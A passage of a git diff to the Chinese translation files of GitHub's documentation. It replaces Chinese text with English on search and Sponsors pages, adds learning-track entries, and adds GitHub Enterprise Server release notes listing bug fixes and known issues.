[**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) 匹配未与含有 "sprint" 字样的里程碑关联的议题。 | -| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) 匹配未与受理人关联、含有 "important" 字样且位于 Java 仓库中的议题。 | -| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) 匹配未与项目板关联、含有 "build" 字样的议题。 | +| Qualifier | Example +| ------------- | ------------- +| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels. +| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint." +| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories. +| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build." -## 延伸阅读 +## Further reading -- “[排序搜索结果](/search-github/getting-started-with-searching-on-github/sorting-search-results/)” +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md b/translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md index 34db559b38..cd0c2c94d4 100644 --- a/translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md +++ b/translations/zh-CN/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md @@ -1,6 +1,6 @@ --- -title: 关于 GitHub 赞助商 -intro: '{% data variables.product.prodname_sponsors %} 允许开发者社区直接在 {% data variables.product.product_name %} 上为他们设计、构建和维护所需开源项目的人员及组织提供经济支持。' +title: About GitHub Sponsors +intro: '{% data variables.product.prodname_sponsors %} allows the developer community to financially support the people and organizations who design, build, and maintain the open source projects they depend on, directly on {% data variables.product.product_name %}.' redirect_from: - /articles/about-github-sponsors - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors @@ -13,41 +13,41 @@ topics: - Fundamentals --- -## 关于 {% data variables.product.prodname_sponsors %} +## About {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.sponsorship-details %} -{% data reusables.sponsors.no-fees %} 更多信息请参阅“[关于 {% data variables.product.prodname_sponsors %} 的计费](/articles/about-billing-for-github-sponsors)”。 +{% data reusables.sponsors.no-fees %} For more information, see "[About billing for {% data variables.product.prodname_sponsors %}](/articles/about-billing-for-github-sponsors)." -{% data reusables.sponsors.you-can-be-a-sponsored-developer %}更多信息请参阅“[关于开源贡献者的 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)”和“[为用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”。 +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see "[About {% data variables.product.prodname_sponsors %} for open source contributors](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" and "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)." -{% data reusables.sponsors.you-can-be-a-sponsored-organization %} 更多信息请参阅“[为组织设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)”。 +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." -当您成为受赞助的开发者或组织时，{% data variables.product.prodname_sponsors %} 的附加条款适用。 更多信息请参阅“[GitHub Sponsors 附加条款](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)”。 +When you become a sponsored developer or sponsored organization, additional terms for {% data variables.product.prodname_sponsors %} apply. For more information, see "[GitHub Sponsors Additional Terms](/free-pro-team@latest/github/site-policy/github-sponsors-additional-terms)." -## 关于 {% data variables.product.prodname_matching_fund %} +## About the {% data variables.product.prodname_matching_fund %} {% note %} -**注：**{% data reusables.sponsors.matching-fund-eligible %} +**Note:** {% data reusables.sponsors.matching-fund-eligible %} {% endnote %} -{% data variables.product.prodname_matching_fund %} 旨在使 {% data variables.product.prodname_dotcom %} 社区开发开源软件的成员获益，宣传 [{% data variables.product.prodname_dotcom %} 社区指导方针](/free-pro-team@latest/github/site-policy/github-community-guidelines)。 对被赞助组织的付款和来自组织的付款均不符合 {% data variables.product.prodname_matching_fund %} 资格。 +The {% data variables.product.prodname_matching_fund %} aims to benefit members of the {% data variables.product.prodname_dotcom %} community who develop open source software that promotes the [{% data variables.product.prodname_dotcom %} Community Guidelines](/free-pro-team@latest/github/site-policy/github-community-guidelines). Payments to sponsored organizations and payments from organizations are not eligible for {% data variables.product.prodname_matching_fund %}. -若要符合 {% data variables.product.prodname_matching_fund %} 的资格，您必须创建吸引社区长期维持您发展的个人资料。 有关创建有吸引力的个人资料的更多信息，请参阅“[编辑 {% data variables.product.prodname_sponsors %} 的个人资料详细信息](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)”。 +To be eligible for the {% data variables.product.prodname_matching_fund %}, you must create a profile that will attract a community that will sustain you for the long term. For more information about creating a strong profile, see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)." -被赞助开发者之间的捐赠将不匹配。 +Donations between sponsored developers will not be matched. {% data reusables.sponsors.legal-additional-terms %} -## 共享关于 {% data variables.product.prodname_sponsors %} 的反馈 +## Sharing feedback about {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.feedback %} -## 延伸阅读 -- "[赞助开源贡献者](/sponsors/sponsoring-open-source-contributors)" -- "[通过 {% data variables.product.prodname_sponsors %} 接受赞助](/sponsors/receiving-sponsorships-through-github-sponsors)" -- "[基于赞助者的能力搜索用户和组织](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)" -- "[基于赞助者的能力搜索仓库](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)" -- {% data variables.product.prodname_blog %} 上的“[{% data variables.product.prodname_sponsors %} 团队常见问题](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)” +## Further reading +- "[Sponsoring open source contributors](/sponsors/sponsoring-open-source-contributors)" +- "[Receiving sponsorships through {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors)" +- "[Searching users and organizations based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-users#search-based-on-ability-to-sponsor)" +- "[Searching repositories based on ability to sponsor](/github/searching-for-information-on-github/searching-on-github/searching-for-repositories#search-based-on-ability-to-sponsor)" +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md index 92709918c1..1340fb5162 100644 --- a/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md +++ b/translations/zh-CN/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md @@ -1,6 +1,6 @@ --- -title: 关于开源贡献者的 GitHub Sponsors -intro: 如果您为开源项目提供价值，可以成为被赞助的贡献者，您的工作将获得付款。 +title: About GitHub Sponsors for open source contributors +intro: 'If you provide value to an open source project, you can become a sponsored contributor to receive payments for your work.' redirect_from: - /articles/about-github-sponsors-for-sponsored-developers - /github/supporting-the-open-source-community-with-github-sponsors/about-github-sponsors-for-sponsored-developers @@ -11,38 +11,38 @@ type: overview topics: - Open Source - Fundamentals -shortTitle: 开源贡献者 +shortTitle: Open source contributors --- -## 加入 {% data variables.product.prodname_sponsors %} +## Joining {% data variables.product.prodname_sponsors %} -{% data reusables.sponsors.you-can-be-a-sponsored-developer %} 更多信息请参阅“[为用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”。 +{% data reusables.sponsors.you-can-be-a-sponsored-developer %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)." -{% data reusables.sponsors.you-can-be-a-sponsored-organization %} 更多信息请参阅“[为组织设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)”。 +{% data reusables.sponsors.you-can-be-a-sponsored-organization %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)." -加入 {% data variables.product.prodname_sponsors %} 之后，您可以为您参与的开源项目添加赞助按钮，以提高您的 {% data variables.product.prodname_sponsors %} 个人资料及其他资助平台的可见性。 更多信息请参阅“[在仓库中显示赞助按钮](/articles/displaying-a-sponsor-button-in-your-repository)”。 +After you join {% data variables.product.prodname_sponsors %}, you can add a sponsor button to the open source repository you contribute to, to increase the visibility of your {% data variables.product.prodname_sponsors %} profile and other funding platforms. For more information, see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)." -您可以为赞助设定目标。 更多信息请参阅“[管理您的赞助目标](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal)”。 +You can set a goal for your sponsorships. For more information, see "[Managing your sponsorship goal](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal)." {% data reusables.sponsors.github-contact-applicants %} -## 赞助级别 +## Sponsorship tiers -{% data reusables.sponsors.tier-details %} 更多信息请参阅“[为用户帐户设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)”、“[为组织设置 {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization)”和“[管理赞助级别](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)”。 +{% data reusables.sponsors.tier-details %} For more information, see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)," "[Setting up {% data variables.product.prodname_sponsors %} for your organization](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization), and "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)." -最好设置一系列不同的赞助选项，包括每月和一次性等级，使任何人都能轻松地支持您的工作。 特别是，一次性付款使人们能够在不担心他们的财务是否会支持定期付款时间表的情况下奖励您的努力。 +It's best to set up a range of different sponsorship options, including monthly and one-time tiers, to make it easy for anyone to support your work. In particular, one-time payments allow people to reward your efforts without worrying about whether their finances will support a regular payment schedule. -## 赞助付款 +## Sponsorship payouts {% data reusables.sponsors.no-fees %} {% data reusables.sponsors.payout-info %} -更多信息请参阅“[从 {% data variables.product.prodname_sponsors %} 管理您的付款](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors)”。 +For more information, see "[Managing your payouts from {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors)." -## 共享关于 {% data variables.product.prodname_sponsors %} 的反馈 +## Sharing feedback about {% data variables.product.prodname_sponsors %} {% data reusables.sponsors.feedback %} -## 延伸阅读 -- {% data variables.product.prodname_blog %} 上的“[{% data variables.product.prodname_sponsors %} 团队常见问题](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)” +## Further reading +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/zh-CN/data/learning-tracks/actions.yml b/translations/zh-CN/data/learning-tracks/actions.yml index 2076da5594..2c53f7896e 100644 --- a/translations/zh-CN/data/learning-tracks/actions.yml +++ b/translations/zh-CN/data/learning-tracks/actions.yml @@ -37,6 +37,17 @@ deploy_to_the_cloud: - /actions/deployment/deploying-to-amazon-elastic-container-service - /actions/deployment/deploying-to-azure-app-service - /actions/deployment/deploying-to-google-kubernetes-engine +adopting_github_actions_for_your_enterprise: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a roll out of {% data variables.product.prodname_actions %} in your enterprise.' + guides: + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae + - /actions/security-guides/security-hardening-for-github-actions hosting_your_own_runners: title: '托管您自己的运行器' description: '您可以创建自托管的运行器，在一个可高度自定义的环境中运行工作流程。' diff --git a/translations/zh-CN/data/learning-tracks/admin.yml b/translations/zh-CN/data/learning-tracks/admin.yml index 5f99fc25d2..d951419980 100644 --- a/translations/zh-CN/data/learning-tracks/admin.yml +++ b/translations/zh-CN/data/learning-tracks/admin.yml @@ -2,6 +2,9 @@ get_started_with_github_ae: title: '开始使用 {% data variables.product.prodname_ghe_managed %}' description: '了解 {% data variables.product.prodname_ghe_managed %} 并完成新企业的初始配置。' + featured_track: true + versions: + ghae: '*' guides: - /admin/overview/about-github-ae - /admin/overview/about-data-residency @@ -12,6 +15,8 @@ deploy_an_instance: title: '部署实例' description: '在您选择的平台上安装 {% data variables.product.prodname_ghe_server %} 并配置 SAML 身份验证。' featured_track: true + versions: + ghes: '*' guides: - /admin/overview/system-overview - /admin/installation @@ -22,6 +27,8 @@ deploy_an_instance: upgrade_your_instance: title: '升级实例' description: '分阶段测试升级，通知用户维护，并升级实例以获取最新功能和安全更新。' + versions: + ghes: '*' guides: - /admin/enterprise-management/enabling-automatic-update-checks - /admin/installation/setting-up-a-staging-instance @@ -29,9 +36,22 @@ upgrade_your_instance: - /admin/user-management/customizing-user-messages-for-your-enterprise - /admin/configuration/enabling-and-scheduling-maintenance-mode - /admin/enterprise-management/upgrading-github-enterprise-server +adopting_github_actions_for_your_enterprise: + title: 'Adopt GitHub Actions for your enterprise' + description: 'Learn how to plan and implement a roll out of {% data variables.product.prodname_actions %} in your enterprise.' + guides: + - /actions/learn-github-actions/understanding-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae + - /actions/security-guides/security-hardening-for-github-actions increase_fault_tolerance: title: '提高实例的容错能力' description: "备份开发者代码并配置高可用性 (HA)，以确保环境中 {% data variables.product.prodname_ghe_server %} 的可靠性。" + versions: + ghes: '*' guides: - /admin/configuration/accessing-the-administrative-shell-ssh - /admin/configuration/configuring-backups-on-your-appliance @@ -41,6 +61,8 @@ increase_fault_tolerance: improve_security_of_your_instance: title: '提高实例的安全性' description: "查看网络配置和安全功能，并强化运行 {% data variables.product.prodname_ghe_server %} 的实例，以保护您的企业数据。" + versions: + ghes: '*' guides: - /admin/configuration/enabling-private-mode - /admin/guides/installation/configuring-tls @@ -54,6 +76,8 @@ improve_security_of_your_instance: configure_github_actions: title: '配置 {% data variables.product.prodname_actions %}' description: '允许开发者使用 {% data variables.product.prodname_actions %} 为 {% data variables.product.product_location %} 创建、自动化、自定义和执行功能强大的软件开发工作流程。' + versions: + ghes: '*' guides: - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server - /admin/github-actions/enforcing-github-actions-policies-for-your-enterprise @@ -64,6 +88,8 @@ configure_github_actions: configure_github_advanced_security: title: '配置 {% data variables.product.prodname_GH_advanced_security %}' description: "通过 {% data variables.product.prodname_GH_advanced_security %} 提高开发者代码的质量和安全性。" + versions: + ghes: '*' guides: - /admin/advanced-security/about-licensing-for-github-advanced-security - /admin/advanced-security/enabling-github-advanced-security-for-your-enterprise @@ -73,6 +99,9 @@ configure_github_advanced_security: get_started_with_your_enterprise_account: title: 'Get started with your enterprise account' description: 'Get started with your enterprise account to centrally manage multiple organizations on {% data variables.product.product_name %}.' + versions: + ghes: '*' + ghec: '*' guides: - /admin/overview/about-enterprise-accounts - /billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml index 6208be4fc6..70dd47a81c 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/16.yml @@ -8,6 +8,7 @@ sections: - 'Resque worker counts were displayed incorrectly during maintenance mode. {% comment %} https://github.com/github/enterprise2/pull/26898, https://github.com/github/enterprise2/pull/26883 {% endcomment %}' - 'Allocated memcached memory could be zero in clustering mode. {% comment %} https://github.com/github/enterprise2/pull/26927, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' - 'Fixes {% data variables.product.prodname_pages %} builds so they take into account the NO_PROXY setting of the appliance. This is relevant to appliances configured with an HTTP proxy only. (update 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}' + - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]' known_issues: - 在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上，攻击者可以创建第一个管理员用户。 - 自定义防火墙规则在升级过程中被删除。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml new file mode 100644 index 0000000000..71f2c09164 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-0/20.yml @@ -0,0 +1,21 @@ +--- +date: '2021-11-23' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - 在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上，攻击者可以创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。 + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接，则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后，私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - 当副本节点在高可用性配置下离线时，{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点，从而减少用户的 {% data variables.product.prodname_pages %} 可用性。 + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml new file mode 100644 index 0000000000..187b02f356 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/12.yml @@ -0,0 +1,24 @@ +--- +date: '2021-11-23' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - Running `ghe-repl-start` or `ghe-repl-status` would sometimes return errors connecting to the database when GitHub Actions was enabled. + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - 'After setting up a high availability replica, `ghe-repl-status` included an error in the output: `unexpected unclosed action in command`.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - '{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分，我们继续拥有返回时间值所需的所有数据，并将在我们解决现有性能问题后恢复返回这个值。' + - 在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上，攻击者可以创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。 + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接，则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后，私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - If {% data variables.product.prodname_actions %} is enabled for {% data variables.product.prodname_ghe_server %}, teardown of a replica node with `ghe-repl-teardown` will succeed, but may return `ERROR:Running migrations`. + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml index 25c8412da1..a34f58e945 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-1/8.yml @@ -9,6 +9,7 @@ sections: - 'Allocated memcached memory could be zero in clustering mode. {% comment %} https://github.com/github/enterprise2/pull/26928, https://github.com/github/enterprise2/pull/26832 {% endcomment %}' - 'Non-empty binary files displayed an incorrect file type and size on the pull request "Files" tab. {% comment %} https://github.com/github/github/pull/192810, https://github.com/github/github/pull/172284, https://github.com/github/coding/issues/694 {% endcomment %}' - 'Fixes {% data variables.product.prodname_pages %} builds so they take into account the NO_PROXY setting of the appliance. This is relevant to appliances configured with an HTTP proxy only. (update 2021-09-30) {% comment %} https://github.com/github/pages/pull/3360 {% endcomment %}' + - 'The GitHub Connect configuration of the source instance was always restored to new instances even when the `--config` option for `ghe-restore` was not used. This would lead to a conflict with the GitHub Connect connection and license synchronization if both the source and destination instances were online at the same time. The fix also requires updating backup-utils to 3.2.0 or higher. [updated: 2021-11-18]' known_issues: - '{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分，我们继续拥有返回时间值所需的所有数据，并将在我们解决现有性能问题后恢复返回这个值。' - 在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上，攻击者可以创建第一个管理员用户。 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml index 9179052b34..95d2a1c278 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0-rc1.yml @@ -53,9 +53,9 @@ sections: heading: 'Git Credential Manager (GCM) secure credential storage and multi-factor authentication support' notes: - | - Git Credential Manager (GCM) Core versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}. + Git Credential Manager (GCM) versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}. - GCM Core with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM Core is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) and [installation instructions](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) in the `microsoft/Git-Credential-Manager-Core` repository. + GCM with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/GitCredentialManager/git-credential-manager/releases/) and [installation instructions](https://github.com/GitCredentialManager/git-credential-manager/releases/) in the `GitCredentialManager/git-credential-manager` repository. changes: - heading: 管理更改 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml index b733bbaa53..3d82304b17 100644 --- a/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/0.yml @@ -51,9 +51,9 @@ sections: heading: 'Git Credential Manager (GCM) secure credential storage and multi-factor authentication support' notes: - | - Git Credential Manager (GCM) Core versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}. + Git Credential Manager (GCM) versions 2.0.452 and later now provide security-hardened credential storage and multi-factor authentication support for {% data variables.product.product_name %}. - GCM Core with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM Core is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) and [installation instructions](https://github.com/microsoft/Git-Credential-Manager-Core/releases/) in the `microsoft/Git-Credential-Manager-Core` repository. + GCM with support for {% data variables.product.product_name %} is included with [Git for Windows](https://gitforwindows.org) versions 2.32 and later. GCM is not included with Git for macOS or Linux, but can be installed separately. For more information, see the [latest release](https://github.com/GitCredentialManager/git-credential-manager/releases/) and [installation instructions](https://github.com/GitCredentialManager/git-credential-manager/releases/) in the `GitCredentialManager/git-credential-manager` repository. changes: - heading: 管理更改 diff --git a/translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml new file mode 100644 index 0000000000..df2faa023a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/3-2/4.yml @@ -0,0 +1,29 @@ +--- +date: '2021-11-23' +intro: 由于影响多个客户的重大错误，下载已禁用。修复程序将在下一个修补程序中提供。 +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - Running `ghe-repl-start` or `ghe-repl-status` would sometimes return errors connecting to the database when GitHub Actions was enabled. + - Pre-receive hooks would fail due to undefined `PATH`. + - 'Running `ghe-repl-setup` would return an error: `cannot create directory /data/user/elasticsearch: File exists` if the instance had previously been configured as a replica.' + - 'Running `ghe-support-bundle` returned an error: `integer expression expected`.' + - 'After setting up a high availability replica, `ghe-repl-status` included an error in the output: `unexpected unclosed action in command`.' + - In large cluster environments, the authentication backend could be unavailable on a subset of frontend nodes. + - Some critical services may not have been available on backend nodes in GHES Cluster. + - The repository permissions to the user returned by the `/repos` API would not return the full list. + - The `childTeams` connection on the `Team` object in the GraphQL schema produced incorrect results under some circumstances. + - In a high availability configuration, repository maintenance always showed up as failed in stafftools, even when it succeeded. + - User defined patterns would not detect secrets in files like `package.json` or `yarn.lock`. + changes: + - An additional outer layer of `gzip` compression when creating a cluster support bundle with `ghe-cluster-suport-bundle` is now turned off by default. This outer compression can optionally be applied with the `ghe-cluster-suport-bundle -c` command line option. + - We have added extra text to the admin console to remind users about the mobile apps' data collection for experience improvement purposes. + known_issues: + - 在新建的没有任何用户的 {% data variables.product.prodname_ghe_server %} 上，攻击者可以创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。 + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接，则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后，私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - '{% data variables.product.prodname_registry %} npm 注册表不再返回元数据响应的时间值。这样做是为了大幅改善性能。作为元数据响应的一部分，我们继续拥有返回时间值所需的所有数据，并将在我们解决现有性能问题后恢复返回这个值。' + - Resource limits that are specific to processing pre-receive hooks may cause some pre-receive hooks to fail. diff --git a/translations/zh-CN/data/reusables/actions/about-actions.md b/translations/zh-CN/data/reusables/actions/about-actions.md new file mode 100644 index 0000000000..995119f59d --- /dev/null +++ 